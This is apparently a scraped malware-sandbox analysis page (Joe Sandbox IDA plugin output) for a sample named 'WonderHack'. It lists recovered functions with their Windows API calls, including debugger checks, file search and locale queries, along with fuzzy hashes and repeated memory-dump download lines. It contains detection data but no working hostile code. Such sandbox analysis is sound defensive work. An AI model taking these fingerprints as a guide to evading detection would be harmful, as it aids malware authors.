Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: File$HandleModule$CloseCreateNameReadSize_strlen
String ID:
API String ID: 3505371420-0
Opcode ID: b04bcfcb80a979cebfddfeee52aa864cc903368a049254f261b87b77f0e89b84
Instruction ID: cd3712bb2f04087d30f65c40537373c0fb1fc93d324f09e9e87b9e8d788e576e
Opcode Fuzzy Hash: b04bcfcb80a979cebfddfeee52aa864cc903368a049254f261b87b77f0e89b84
Instruction Fuzzy Hash: 5EF0E5B190021027D6216724AC4BEAB7FACDFA5710F400514F5894B181EB74559587D3

Function 001ABED7 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,001B02B4,?,00000000,?,?,001AFF54,?,00000007,?,?,001B089A,?,?), ref: 001ABEED
GetLastError.KERNEL32(?,?,001B02B4,?,00000000,?,?,001AFF54,?,00000007,?,?,001B089A,?,?), ref: 001ABEF8

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 90c2780867bff0b332401551c3b0fd8e5cd229dd6669231aca6bf3b7cba39b96
Instruction ID: 5b62aa2884c131d98e20c6df0854b3e75b79b076fa101fc606a39f634cac9d3e
Opcode Fuzzy Hash: 90c2780867bff0b332401551c3b0fd8e5cd229dd6669231aca6bf3b7cba39b96
Instruction Fuzzy Hash: D9E08C76208254ABCB116FA4BC09F993F68EB113A1F144021F608965B1DB30C980CB98

Function 0019DEF0 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a6e407233df92685a41e23c71407830c0cef57ceaa90fecc4d83d155f8e4b11
Instruction ID: 6fc95753f90c6f14def598ad39aa7d0c6586b9315a505a3e7869212a65210249
Opcode Fuzzy Hash: 7a6e407233df92685a41e23c71407830c0cef57ceaa90fecc4d83d155f8e4b11
Instruction Fuzzy Hash: DA419E32A0011AAFCF14DF68D8948EDBBF9FF18310F54006AE442E7A40EB31E955DBA0

Function 0019CB40 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ed2244d533deed578f98b57d8f5c4a37549b5c6170b03fd6404e0ff5eb13595
Instruction ID: 7121d822f54e25b758aa22ee9ce02151ce24b9f21a227545c689b9817c50bdff
Opcode Fuzzy Hash: 5ed2244d533deed578f98b57d8f5c4a37549b5c6170b03fd6404e0ff5eb13595
Instruction Fuzzy Hash: AF31847290011AAFCF14DF68D9909EEBBF8BF19320B54026AE556E3690E731F954CBD0

Function 0019B060 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 0019AFC4: GetModuleHandleExW.KERNEL32(00000002,00000000,00198A2A,?,?,0019AF87,00198A2A,?,0019AF58,00198A2A,?,?,?), ref: 0019AFD0

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,C97C8CFE,?,?,?,Function_0002BE94,000000FF), ref: 0019B0C7

Part of subcall function 0019AEFA: std::_Throw_Cpp_error.LIBCPMT ref: 0019AF1B

Part of subcall function 0019EFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,00198E4A,0019A2F0), ref: 0019EFE7

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: CallbackCpp_errorExclusiveFreeHandleLibraryLockModuleReleaseReturnsThrow_Whenstd::_
String ID:
API String ID: 3627539351-0
Opcode ID: 2a266c2720f608717c04264be7f12fe3bd5c78c9e01eaf3fc7c6e96b02b7f9a4
Instruction ID: 96f501f2c4b233d243149714bce3abc71f7fba324cc32ec43e839167d9c79cb9
Opcode Fuzzy Hash: 2a266c2720f608717c04264be7f12fe3bd5c78c9e01eaf3fc7c6e96b02b7f9a4
Instruction Fuzzy Hash: 0411C432A086509BCF25AB25ED56E2E7BA9EF51B20F04442AF81597AD0CF35DC40CAD1

Function 001ACFD6 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b2a5424222053d61fb80acb77dada6ca772d35bc22488bfd35988fb28122f70
Instruction ID: ebcc86113229ab98e43abfc59af34258fc11f6b61cd607b78059f8907a71eaf1
Opcode Fuzzy Hash: 5b2a5424222053d61fb80acb77dada6ca772d35bc22488bfd35988fb28122f70
Instruction Fuzzy Hash: 9101287B2046245F9B168F68FD81D163B6AFBC2720F658025F911C7994DF32D842D790

Function 0019CB32 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 5e49399e20e4d297449186f1177439b93876620a97acc01c6a1795f212c81f8b
Instruction ID: 2ea37a28d81d97f332bb96179c1ebfbe0724adf385784c4177180669007f99ae
Opcode Fuzzy Hash: 5e49399e20e4d297449186f1177439b93876620a97acc01c6a1795f212c81f8b
Instruction Fuzzy Hash: B301447670C2864FCF159B78F8356A8BF20FFA6334B20416FD092854C1CB239824C380

Function 00197770 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 001977C6

Part of subcall function 0019AF64: CloseThreadpoolWork.KERNEL32(?,00000000,?,001978DA,00000000), ref: 0019AF72

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: CloseConcurrency::details::_Release_choreThreadpoolWork
String ID:
API String ID: 312417170-0
Opcode ID: d1fdedf122b3032e008236960bc57478ee5224f18aafd3a755b44e20c98e8de4
Instruction ID: 592e8bfb7ffa22195b9d78506d2845f464d552fdee81a512bae26e85d5bd8c77
Opcode Fuzzy Hash: d1fdedf122b3032e008236960bc57478ee5224f18aafd3a755b44e20c98e8de4
Instruction Fuzzy Hash: 0F0124B1C006599BDF04EF94D846B9EBBB4FF44720F00423AE81967740E379AA85CAD2

Function 001ABF11 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,001ADF35,?,?,001ADF35,00000220,?,00000000,?), ref: 001ABF43

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0d48cd09394bebd65fd3c509bc30025da9293195014d2129a97c775a70af06b8
Instruction ID: ef28124f5b5bf039c2f50b1e88961591f12af262f9c7c9abbf67f08f6e84e63a
Opcode Fuzzy Hash: 0d48cd09394bebd65fd3c509bc30025da9293195014d2129a97c775a70af06b8
Instruction Fuzzy Hash: 35E0E53D10D5916FEB202A669C80B6A3A489F537A0F1D0161EC1D96193DB24DC40C9A0

Function 001998F0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0019990F

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 8c78a9cc815c2f3bcc07ad891d5d77468145091ebf7703f3ab017ec77400e7d0
Instruction ID: 54df225223fc098102ede4c477577f72ae712bd1435a16bcc3eae40b7dca38c8
Opcode Fuzzy Hash: 8c78a9cc815c2f3bcc07ad891d5d77468145091ebf7703f3ab017ec77400e7d0
Instruction Fuzzy Hash: EAD0A7397090244F8B147B2CB854C2E7355FFD8724356045DE841D7745C734DC4287C0

Non-executed Functions

Function 001B7792 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 001B79A9

Strings

1#IND, xrefs: 001B7897
1#QNAN, xrefs: 001B78A5
1#INF, xrefs: 001B78C8
1#SNAN, xrefs: 001B789E

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: f622c1dca9d3d425564f081070a1d99bd25586f2079f6ce9d3c764799918cdc2
Instruction ID: ed8414d4ea123971fdb6645a69f9ed6e1d5ab5becb446bbcfa9346f5401911e0
Opcode Fuzzy Hash: f622c1dca9d3d425564f081070a1d99bd25586f2079f6ce9d3c764799918cdc2
Instruction Fuzzy Hash: C1D22A71E082298FDB65CE28CD40BEAB7B9EB94705F1541EAD40DE7280DB74AE85CF41

Function 001B1A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,001B13BD,00000002,00000000,?,?,?,001B13BD,?,00000000), ref: 001B1AA0
GetLocaleInfoW.KERNEL32(?,20001004,001B13BD,00000002,00000000,?,?,?,001B13BD,?,00000000), ref: 001B1AC9
GetACP.KERNEL32(?,?,001B13BD,?,00000000), ref: 001B1ADE

Strings

OCP, xrefs: 001B1A5B
ACP, xrefs: 001B1A25

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ef10522a918b51a0706e0456f72f2da671bd887e59be44f56541d262cb52411e
Instruction ID: 6c38e9c8f5411d94f86237d08643a12c9cdaad87ec01399d7077dcd8b4a70e6b
Opcode Fuzzy Hash: ef10522a918b51a0706e0456f72f2da671bd887e59be44f56541d262cb52411e
Instruction Fuzzy Hash: E0215322B02181BADB348F75C921AD776AAEF54B54BE78465E90AD7204E732FE40C390

Function 001B1287 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(?,?,001A5495,001C8E38,0000000C), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000), ref: 001AC210

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 001B138F
IsValidCodePage.KERNEL32(00000000), ref: 001B13CD
IsValidLocale.KERNEL32(?,00000001), ref: 001B13E0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 001B1428
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 001B1443

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: a5d5c93f15128cf67b21f5486f25eca20cdc0e51a1654113cd75749d94d23b23
Instruction ID: f094d01ce8f6977753156a438a21e8fd9fd2db29261de89f617b758cff8e738f
Opcode Fuzzy Hash: a5d5c93f15128cf67b21f5486f25eca20cdc0e51a1654113cd75749d94d23b23
Instruction Fuzzy Hash: 2D514972A00205FBDB10EFA5CC95EFA77B8BF19710F964469F901E75A0EB709A408B61

Function 001A9CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: 6955a253226427eeff5e906c3c431a4ca9131a525a910ffb721ef1740b47a541
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: 8F023975E012199FDF14CFA8C9806AEBBB1FF49314F24826AE919E7341D731AE45CB90

Function 001B1FE9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001B20D9

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 0cc0a3be1ac71ab4adfe6078d6b7f1826e7eda703009b57a0ec6ead929d69517
Instruction ID: e31bbf39e77bc4829ad00161880e60ace7cfffd52a00bbd1aaa641453f1732e4
Opcode Fuzzy Hash: 0cc0a3be1ac71ab4adfe6078d6b7f1826e7eda703009b57a0ec6ead929d69517
Instruction Fuzzy Hash: CB71F3B19051586FDF21AF38DC89AFABBB9AF15300F1441D9E549E3211DB358E89CF10

Function 0019F8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0019F8F5
IsDebuggerPresent.KERNEL32 ref: 0019F9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0019F9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 0019F9E4

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 894745067a25991bd30601d919fc01bc954bc214ecfeb976ca26351443d7e5df
Instruction ID: c16bed5981596e912f5741a61b59b9c2d8bfc03dd3c9b7d368645a483767140e
Opcode Fuzzy Hash: 894745067a25991bd30601d919fc01bc954bc214ecfeb976ca26351443d7e5df
Instruction Fuzzy Hash: 893106B5D01219ABDF21DFA4DD49BCDBBB8AF18300F1041AAE40DAB250EB759A85CF45

Function 001B1580 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(?,?,001A5495,001C8E38,0000000C), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000), ref: 001AC210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001B15D4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001B161E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001B16E4

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 931eba831a8b595071d8a90861ffa010bf10784363ff9c05076a76f9331154a1
Instruction ID: 53b9fe64b3fd2caea97c7ec354a1c2d2fdfa1b89203edf1dabc467e2bb77f954
Opcode Fuzzy Hash: 931eba831a8b595071d8a90861ffa010bf10784363ff9c05076a76f9331154a1
Instruction Fuzzy Hash: D061CD71A10207ABDB289F28CDA2BFA77A8FF15300F66417AE905C7181EB74D980DB50

Function 001A7E30 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 001A7F28
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 001A7F32
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 001A7F3F

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
